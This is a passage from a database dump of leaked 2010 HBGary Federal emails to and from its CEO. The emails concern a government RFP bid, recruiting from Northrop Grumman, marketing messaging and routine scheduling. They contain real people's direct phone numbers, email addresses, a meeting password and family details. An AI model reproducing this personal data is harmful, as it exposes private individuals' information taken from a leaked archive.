a whole going to be able to make significantprogress.  Anyway...\r\nI just wanted to send you a quick note.  As we both know there is animpending RFP for Romas, and I think you know I am planning to go afterthat work.  I am a small business and of the work in government for\r\ncyber, I know this work the best, so makes sense.  I want to assure youthat even though I still have close relationships with members of yourteam,  I am in no way trying to leverage those relationships to glean\r\ninformation of a programatic or proprietary nature.  And your team is inno way providing me with information of a programatic or proprietarynature.  That is not to say that in some specific cases I would not\r\nattempt to recruit key individuals for risk mitigation and capabilities,you and I are both quite aware that is how you play this game.What concerns me is the immediate management and their continued\r\nvilification of me and Ted.  As I mentioned to you nearly a year agonow, I made some missteps but my intentions were for the betterment ofthe customers mission, Northrops program, and my future.  I didn&#39;t and\r\nstill do not believe that what I was doing was in conflict withbenefiting all parties.  And as you are probably aware this bears out inthe current stresses and desires of capabilities of that customer.  (I\r\nwant to make sure you know this does not come from your team but I havemy badge back and make periodic visits with that customer).  My approachin some form or fashion was the right approach and I was trying to make\r\nsure we delivered it and not someone else.  Those were my intentions anyways.The reason I am bringing this up is every time I come out to Coloradoand have lunch with people that I hired, grew professionally, and\r\ndeveloped personal friendships with, some of the leadership locally comedown on them for meeting with us.  I believe this is completelyunprofessional and borderline harassment.  The current immediate\r\nleadership need to get past whatever animosity or chip that remains withthem, as their approach is severely effecting many peoples moral.People are being criticized for having friendships with us, so much so\r\nthat other people are afraid to talk with us for fear of the criticism.Thats just not right.  There is friendship and business and some need tobe able to separate the two and better understand the nature of\r\ncompetitive business.--------On a separate note I would very much like to get together some time thatyour schedule permits and discuss with you some of our capabilities and\r\ndirection related to Threat Intelligence and continuous incidentresponse.  Looking through somewhat different glasses I have had anopportunity to refine my approach to cyber and would like to share it\r\nwith you.  Recently I have had some very positive discussions with Dr.Porter at IARPA, US-CERT, and FBI Cyber Division regarding both ourcapabilities and approach to the problem.  In short, I am now a believer\r\nin attribution.Sincerely,Aaron\r\n',9082,'aaron_hbgary_com/9082.html'),(12268,'2010-09-24','\"carma\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297009060.M13304P14101Q7123.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Update messaging and elevator pitch','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Greg,\r\n\r\n&nbsp;\r\n\r\nMy thoughts are primarily around the simplification and\r\ncoordination of our messaging.&nbsp; I know our tools are sophisticated and not\r\nfor the faint at heart however when we pitch to a CISO or any sort of Business\r\nManager, I don&#8217;t think they need to understand the interworking of our\r\nsolutions-unless they are specifically asking.&nbsp; If we can simplify our\r\nmessage and integrate the buzz words they are hearing from their peers and\r\nanalysts, we&#8217;ll likely get better response from them.&nbsp; Then, we save\r\nthe technical stuff for the guys who are going to run the products.\r\n\r\n&nbsp;\r\n\r\nMy thoughts (for what they are worth) is that we should focus on\r\nthe 4 business needs we address:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Risk Mitigation\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThreat Management\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIntrusion Detection\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHolistic Incident Response\r\n\r\n&nbsp;\r\n\r\nPlease take this with a grain of salt as I am the new kid but something\r\nlike&#8230;We offer our customers complete risk mitigation across the\r\nenterprise.&nbsp; HB Gary&#8217;s solutions provide visibility into live memory\r\nto identify and evaluate patterns of malware that are not known or visible to\r\nany other security solutions.&nbsp; This provides our customers with an\r\ninvaluable picture of their threat landscape in real time and maps for them, a\r\nclear path to respond and manage those now visible threats&#8230;.uses those\r\nbuzzwords, is easy to understand and also differentiates us from the crowd.\r\n\r\n&nbsp;\r\n\r\nAlso, can we use &#8220;improved&#8221; or &#8220;simplified&#8221;\r\ncompliance?&nbsp; I hate that &#8220;c&#8221; word but people are still\r\nresponding to it&#8230;.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Thursday, September 23, 2010 7:41 AM\r\nTo: Karen Burke; Carma Beedle; Penny C. Hoglund; aaron@hbgary.com\r\nSubject: Update messaging and elevator pitch\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKaren, Penny, Carma, Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am working on updating the elevator pitch and primary\r\nmessaging.&nbsp; My current pitch is getting out of date, and my master deck\r\nhas almost 150 slides in it.&nbsp; I need to simplify the pitch and focus it\r\nbetter on what matters right now in the market.&nbsp; Carma, you have indicated\r\nyou have opinions on website messaging.&nbsp; Karen, you always have a good\r\nsense.&nbsp; Penny, you always have an opinion.&nbsp; Aaron, I have solicited\r\nyour input.&nbsp; I will try to write up a single page of text / bullets based\r\non your feedback.&nbsp; Please tell me how you think HBGary should be\r\npositioning itself throughout Q4 and possibly into Q1 of next year.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7965,'aaron_hbgary_com/7965.html'),(12269,'2010-09-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009060.M307672P14101Q7124.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Northrop Grumman','Begin forwarded message:From: &lt;mspohn@cox.net&gt;Date: September 24, 2010 11:40:02 AM MDT\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Northrop GrummanTed,\r\nSorry this is late. I have been on a major IR in Atlanta all week.I would be interested in contract work to help them out. Where is this team going to be stationed?\r\nI will send a resume to you if required.Thanks for thinking about me.MGS---- Ted Vera &lt;ted@hbgary.com&gt; wrote: \r\nHi Mike,Northrop Grumman is trying to stand up an IR capability &amp; team.  Would\r\nyou be interested in either hiring on direct with NG, or performing asa consultant (fairly long-term gig I&#39;d suppose) to help get them up\r\nand running?Let me know and I&#39;ll make the recommendation and provide an introduction.\r\nHope all is well,Ted\r\n-- \r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',7234,'aaron_hbgary_com/7234.html'),(12270,'2010-09-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009060.M560729P14101Q7125.eml','\"Aaron Barr\" <aaron@hbgary.com>','Please return Alex Olson Call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron\r\n\r\n&nbsp;\r\n\r\nI told him you were on your way into a meeting.&nbsp;\r\n212-796-2927\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2623,'aaron_hbgary_com/2623.html'),(12271,'2010-09-24','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297009061.M326287P14101Q7126.eml','\"Barr Aaron\" <aaron@hbgary.com>','Deposit','\r\n\r\n',6510,'aaron_hbgary_com/6510.html'),(12272,'2010-09-24','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009062.M358367P14101Q7128.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ROMAS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRe: ROMAS\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Fellas &#8211; I am ready to check out for the week.&nbsp; Any\r\nnew updates?\r\n\r\n&nbsp;\r\n\r\nStill in the dark,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Tim Riesen\r\n[mailto:tjriesen@archimedesglobal.com] \r\nSent: Tuesday, September 21, 2010 10:55 PM\r\nTo: Aaron Barr\r\nCc: Clair, Chris (TASC); Duane T. Anderson\r\nSubject: Re: ROMAS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Aaron. &nbsp;We will be standing by.\r\n&nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 22:47:49 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nCc: Christopher Clair &lt;christopher.clair@tasc.com&gt;,\r\n&quot;Duane T. Anderson&quot; &lt;dta@archimedesglobal.com&gt;\r\nSubject: Re: ROMAS\r\n\r\nThanks Tim.\r\n\r\nI am supposed to see John on Friday and will ask him specifically about this as\r\nwell as get the contact info for the COTR and CO while we are being added to\r\nthe bidders list. &nbsp;I think this is better for us consolidated so I hope\r\nyour source is more reliable than mine Tim. :)\r\n\r\nAaron\r\n\r\n\r\nOn Sep 21, 2010, at 10:36 PM, Tim Riesen wrote:\r\n\r\nChris - \r\n\r\nAccording to the client CO, ROMAS will not be split up into four RFPs, but only\r\na market survey will be provided in the next quarter. &nbsp;COIN, as they know\r\nit, is dead. &nbsp;The rumor that ROMAS would be split into four RFPs was just\r\nthat &#8211; a rumor &#8211; according to the CO. &nbsp;\r\n\r\n\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11280,'aaron_hbgary_com/11280.html'),(12273,'2010-09-24','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297009062.M593184P14101Q7129.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: ROMAS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRe: ROMAS\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nNothing from me.  From:  \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: Fri, 24 Sep 2010 14:22:45 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;; Aaron Barr&lt;aaron@hbgary.com&gt;Subject: RE: ROMAS\r\n\r\n\r\n\r\nHey Fellas &#8211; I am ready to check out for the week.&nbsp; Any\r\nnew updates?\r\n\r\n&nbsp;\r\n\r\nStill in the dark,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Tim Riesen\r\n[mailto:tjriesen@archimedesglobal.com] \r\nSent: Tuesday, September 21, 2010 10:55 PM\r\nTo: Aaron Barr\r\nCc: Clair, Chris (TASC); Duane T. Anderson\r\nSubject: Re: ROMAS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Aaron. &nbsp;We will be standing by.\r\n&nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 22:47:49 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nCc: Christopher Clair &lt;christopher.clair@tasc.com&gt;,\r\n&quot;Duane T. Anderson&quot; &lt;dta@archimedesglobal.com&gt;\r\nSubject: Re: ROMAS\r\n\r\nThanks Tim.\r\n\r\nI am supposed to see John on Friday and will ask him specifically about this as\r\nwell as get the contact info for the COTR and CO while we are being added to\r\nthe bidders list. &nbsp;I think this is better for us consolidated so I hope\r\nyour source is more reliable than mine Tim. :)\r\n\r\nAaron\r\n\r\n\r\nOn Sep 21, 2010, at 10:36 PM, Tim Riesen wrote:\r\n\r\nChris - \r\n\r\nAccording to the client CO, ROMAS will not be split up into four RFPs, but only\r\na market survey will be provided in the next quarter. &nbsp;COIN, as they know\r\nit, is dead. &nbsp;The rumor that ROMAS would be split into four RFPs was just\r\nthat &#8211; a rumor &#8211; according to the CO. &nbsp;\r\n\r\n\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13801,'aaron_hbgary_com/13801.html'),(12274,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009062.M867103P14101Q7130.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS','Hey,No big updates.  John wanted me to come in Monday but I will be in Seattle all next week so planning to see him the following Monday.  Still don&#39;t have a solid bead on one or many.  I still think it&#39;s many based on johns direct involvement and the action of putting HBGary on the list but who knows.  I&#39;ll know when I see him if we don&#39;t here word before then.\r\n\r\nChris,  great job with the folks from NG.  That will be very helpful and devastating for them.  I will talk to you early next week to discuss.\r\n\r\nAaron\r\nSent from my iPhoneOn Sep 24, 2010, at 2:22 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey Fellas – I am ready to check out for the week.  Any\r\nnew updates?\r\n\r\n \r\n\r\nStill in the dark,\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Tim Riesen\r\n[mailto:tjriesen@archimedesglobal.com] \r\nSent: Tuesday, September 21, 2010 10:55 PM\r\nTo: Aaron Barr\r\nCc: Clair, Chris (TASC); Duane T. Anderson\r\nSubject: Re: ROMAS\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks Aaron.  We will be standing by.\r\n \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 21 Sep 2010 22:47:49 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nCc: Christopher Clair &lt;christopher.clair@tasc.com&gt;,\r\n&quot;Duane T. Anderson&quot; &lt;dta@archimedesglobal.com&gt;\r\nSubject: Re: ROMAS\r\n\r\nThanks Tim.\r\n\r\nI am supposed to see John on Friday and will ask him specifically about this as\r\nwell as get the contact info for the COTR and CO while we are being added to\r\nthe bidders list.  I think this is better for us consolidated so I hope\r\nyour source is more reliable than mine Tim. :)\r\n\r\nAaron\r\n\r\n\r\nOn Sep 21, 2010, at 10:36 PM, Tim Riesen wrote:\r\n\r\nChris - \r\n\r\nAccording to the client CO, ROMAS will not be split up into four RFPs, but only\r\na market survey will be provided in the next quarter.  COIN, as they know\r\nit, is dead.  The rumor that ROMAS would be split into four RFPs was just\r\nthat – a rumor – according to the CO.  \r\n\r\n\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel:   800.670.2390 ext 503\r\nFax:  866.347.0827\r\n \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2349,'aaron_hbgary_com/2349.html'),(12275,'2010-09-24','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297009062.M97618P14101Q7127.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check','Sent with DocScanner\r\n\r\n\r\n',2415,'aaron_hbgary_com/2415.html'),(12276,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009070.M170722P14101Q7131.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: Scout','Thank you much.  I had a wrench thrown into my plans.  My wife got kidney stones and that threw me out of whack for a few days.  I am headed to Seattle for a week but would very much like to pick it up when I return the week of Oct. 4th if that is ok?\r\n\r\nAaron\r\n\r\nOn Sep 20, 2010, at 3:05 PM, Sullivan, Mary wrote:\r\n\r\n> Aaron,\r\n> The Scout is ready. Jon can facilitate pickup.\r\n> Mary\r\n> \r\n> Sent from my mobile--excuse typos or brevity\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',2430,'aaron_hbgary_com/2430.html'),(12277,'2010-09-24','\"David Sarmanian (LinkedIn Messages)\" <messages-noreply@linkedin.com>','/aaron@hbgary.com/new/1297009070.M689568P14101Q7132.eml','\"Aaron Barr\" <aaron@hbgary.com>','Business Opportunity','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nDavid Sarmanian has sent you a message.\r\n\r\n\r\n  Date:\r\n  9/24/2010\r\n\r\n\r\n  Subject:\r\n  Business Opportunity\r\n\r\n\r\n\r\n  Aaron,\r\n\r\nTASC is interested in finding out more information about your products.  Would you give me a call so we can discuss this?\r\n\r\n\r\n\r\nThanks,\r\n\r\nDavid\r\n\r\n\r\n\r\nDavid Sarmanian CISSP, GCIH, GSEC, GCIA\r\n\r\nManager, Cyber Security Operations \r\n\r\ndavid.sarmanian@ngc.com\r\n\r\n(o) (703) 449-3184\r\n\r\n(c) (703) 498-9124\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',8066,'aaron_hbgary_com/8066.html'),(12278,'2010-09-24','\"David Sarmanian via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297009070.M949964P14101Q7133.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            David Sarmanian has indicated you are a Colleague at Northrop Grumman:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- David Sarmanian\r\n  \r\n\r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from David Sarmanian\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW LinkedIn can help you find the right service providers using recommendations from your trusted network? Using LinkedIn Services, you can take the risky guesswork out of selecting service providers by reading the recommendations of credible, trustworthy members of your network. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',7128,'aaron_hbgary_com/7128.html'),(12279,'2010-09-24','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009071.M226083P14101Q7134.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,bcoulson@digitalglobe.com','Updated Invitation: DigitalGlobe Review of Managed Services Proposal @ Fri Sep 24 3pm - 4pm (aaron@hbgary.com)','This event has been changed. more details &raquo;DigitalGlobe Review of Managed Services ProposalChanged: Agenda\r\n\r\nReview Managed Services Proposal\r\n-- fees\r\n-- deliverables\r\nReview Installation and Deployment\r\nReview timelines\r\n\r\nPhil Wallisch changed the time for this online meeting. \r\n\r\nTopic: DigitalGlobe Review of Managed Services Proposal \r\nDate: Friday, September 24, 2010 \r\nTime: 5:00 pm, Eastern Daylight Time (New York, GMT-04:00) \r\nMeeting Number: 571 737 008 \r\nMeeting Password: ddna \r\n\r\n\r\n------------------------------------------------------- \r\nTo join the online meeting (Now from the Apple iPhone (R) too!) \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;RT=MiMxMQ%3D%3D \r\n2. If requested, enter your name and email address. \r\n3. If a password is required, enter the meeting password: ddna \r\n4. Click &quot;Join&quot;. \r\n\r\nTo view in other time zones or languages, please click the link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;ORT=MiMxMQ%3D%3D \r\n\r\n------------------------------------------------------- \r\nTo join the audio conference only \r\n------------------------------------------------------- \r\nCall-in toll number (US/Canada): 1-408-792-6300 \r\nGlobal call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=155871232&amp;tollFree=0 \r\n\r\nAccess code:571 737 008 \r\n\r\n------------------------------------------------------- \r\nFor assistance \r\n------------------------------------------------------- \r\n1. Go to https://hbgary.webex.com/hbgary/mc \r\n2. On the left navigation bar, click &quot;Support&quot;. \r\n\r\nYou can contact me at: \r\nphil@hbgary.com \r\n\r\n\r\nTo update this meeting to your calendar program (for example Microsoft Outlook), click this link: \r\nhttps://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;ICS=MRS3&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=8A0dlB6yjTLw2tTIAvy86jvf0OeGI3aJXT4Y9HwAkP0=&amp;RT=MiMxMQ%3D%3D \r\n\r\n\r\nWebEx will automatically setup Meeting Manager for Windows the first time you join a meeting. To save time, you can setup prior to the meeting by clicking this link: \r\nhttps://hbgary.webex.com/hbgary/meetingcenter/mcsetup.php \r\n\r\n\r\nThe playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php \r\n\r\nSign up for a free trial of WebEx \r\nhttp://www.webex.com/go/mcemfreetrial \r\n\r\nhttp://www.webex.com WhenFri Sep 24 3pm – 4pm Eastern TimeWhere Call-in toll number (US/Canada): 1-408-792-6300  Meeting Number: 571 737 008 (map)Calendaraaron@hbgary.comWho&#x2022;maria@hbgary.com - organizer&#x2022;dcollend@digitalglobe.com&#x2022;Aaron Barr&#x2022;Matt Standart&#x2022;Ted Vera&#x2022;Phil Wallisch&#x2022;bcoulson@digitalglobe.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for updated invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',14650,'aaron_hbgary_com/14650.html'),(12280,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009071.M568844P14101Q7135.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Business Opportunity','Begin forwarded message:From: \"David Sarmanian (LinkedIn Messages)\" &lt;messages-noreply@linkedin.com&gt;Date: September 24, 2010 2:39:21 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Business Opportunity\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInDavid Sarmanian has sent you a message.\r\n  Date:\r\n  9/24/2010\r\n\r\n  Subject:\r\n  Business Opportunity\r\n\r\n  Aaron,\r\n\r\nTASC is interested in finding out more information about your products.  Would you give me a call so we can discuss this?\r\n\r\n\r\n\r\nThanks,\r\n\r\nDavid\r\n\r\n\r\n\r\nDavid Sarmanian CISSP, GCIH, GSEC, GCIA\r\n\r\nManager, Cyber Security Operations \r\n\r\ndavid.sarmanian@ngc.com\r\n\r\n(o) (703) 449-3184\r\n\r\n(c) (703) 498-9124\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',13920,'aaron_hbgary_com/13920.html'),(12281,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009071.M845216P14101Q7136.eml','\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>','Re: EXTERNAL:Update','Thanks Kathy,I am heading to Seattle for a week to spend some time with family. &nbsp;When I get back I will contact Jen and work to get on your calendar at a convenient time.Also if anyone there is interested I will be presenting at Palantir\'s GovCon6 on Oct 12th on the importance of threat intelligence and our approach to attribution using HBGary and Palantir tools and processes.Its an open conference. &nbsp;Register @&nbsp;http://govcon.eventbrite.com/I will be presenting right before General Hayden. &nbsp;No pressure.AaronOn Sep 24, 2010, at 12:28 PM, Warden, Kathy J (IS) wrote:Aaron,Thanks for the note. &nbsp;I trust that you and my current employees are allbeing mindful of your commitments not to discuss NG proprietaryinformation or use NG proprietary information to support HB Garybusiness, but your reassurance of that is appreciated. &nbsp;I would be happy to meet with you to go over HB Gary capabilities whenwe can find the time - it has been extremely busy and no indication ofslowing down!Regards,Kathy-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, September 15, 2010 10:46 PMTo: Warden, Kathy J (IS)Subject: EXTERNAL:UpdateHi Kathy,I hope all is going well, I imagine it is to a degree but like everyoneelse you are probably a bit frustrated by the lack of movement or themovement to the right of many cyber programs. &nbsp;I am still questioningwhether or not we are as a whole going to be able to make significantprogress. &nbsp;Anyway...I just wanted to send you a quick note. &nbsp;As we both know there is animpending RFP for Romas, and I think you know I am planning to go afterthat work. &nbsp;I am a small business and of the work in government forcyber, I know this work the best, so makes sense. &nbsp;I want to assure youthat even though I still have close relationships with members of yourteam, &nbsp;I am in no way trying to leverage those relationships to gleaninformation of a programatic or proprietary nature. &nbsp;And your team is inno way providing me with information of a programatic or proprietarynature. &nbsp;That is not to say that in some specific cases I would notattempt to recruit key individuals for risk mitigation and capabilities,you and I are both quite aware that is how you play this game.What concerns me is the immediate management and their continuedvilification of me and Ted. &nbsp;As I mentioned to you nearly a year agonow, I made some missteps but my intentions were for the betterment ofthe customers mission, Northrops program, and my future. &nbsp;I didn\'t andstill do not believe that what I was doing was in conflict withbenefiting all parties. &nbsp;And as you are probably aware this bears out inthe current stresses and desires of capabilities of that customer. &nbsp;(Iwant to make sure you know this does not come from your team but I havemy badge back and make periodic visits with that customer). &nbsp;My approachin some form or fashion was the right approach and I was trying to makesure we delivered it and not someone else. &nbsp;Those were my intentions anyways.The reason I am bringing this up is every time I come out to Coloradoand have lunch with people that I hired, grew professionally, anddeveloped personal friendships with, some of the leadership locally comedown on them for meeting with us. &nbsp;I believe this is completelyunprofessional and borderline harassment. &nbsp;The current immediateleadership need to get past whatever animosity or chip that remains withthem, as their approach is severely effecting many peoples moral.People are being criticized for having friendships with us, so much sothat other people are afraid to talk with us for fear of the criticism.Thats just not right. &nbsp;There is friendship and business and some need tobe able to separate the two and better understand the nature ofcompetitive business.--------On a separate note I would very much like to get together some time thatyour schedule permits and discuss with you some of our capabilities anddirection related to Threat Intelligence and continuous incidentresponse. &nbsp;Looking through somewhat different glasses I have had anopportunity to refine my approach to cyber and would like to share itwith you. &nbsp;Recently I have had some very positive discussions with Dr.Porter at IARPA, US-CERT, and FBI Cyber Division regarding both ourcapabilities and approach to the problem. &nbsp;In short, I am now a believerin attribution.Sincerely,Aaron\r\nAaron BarrCEOHBGary Federal, 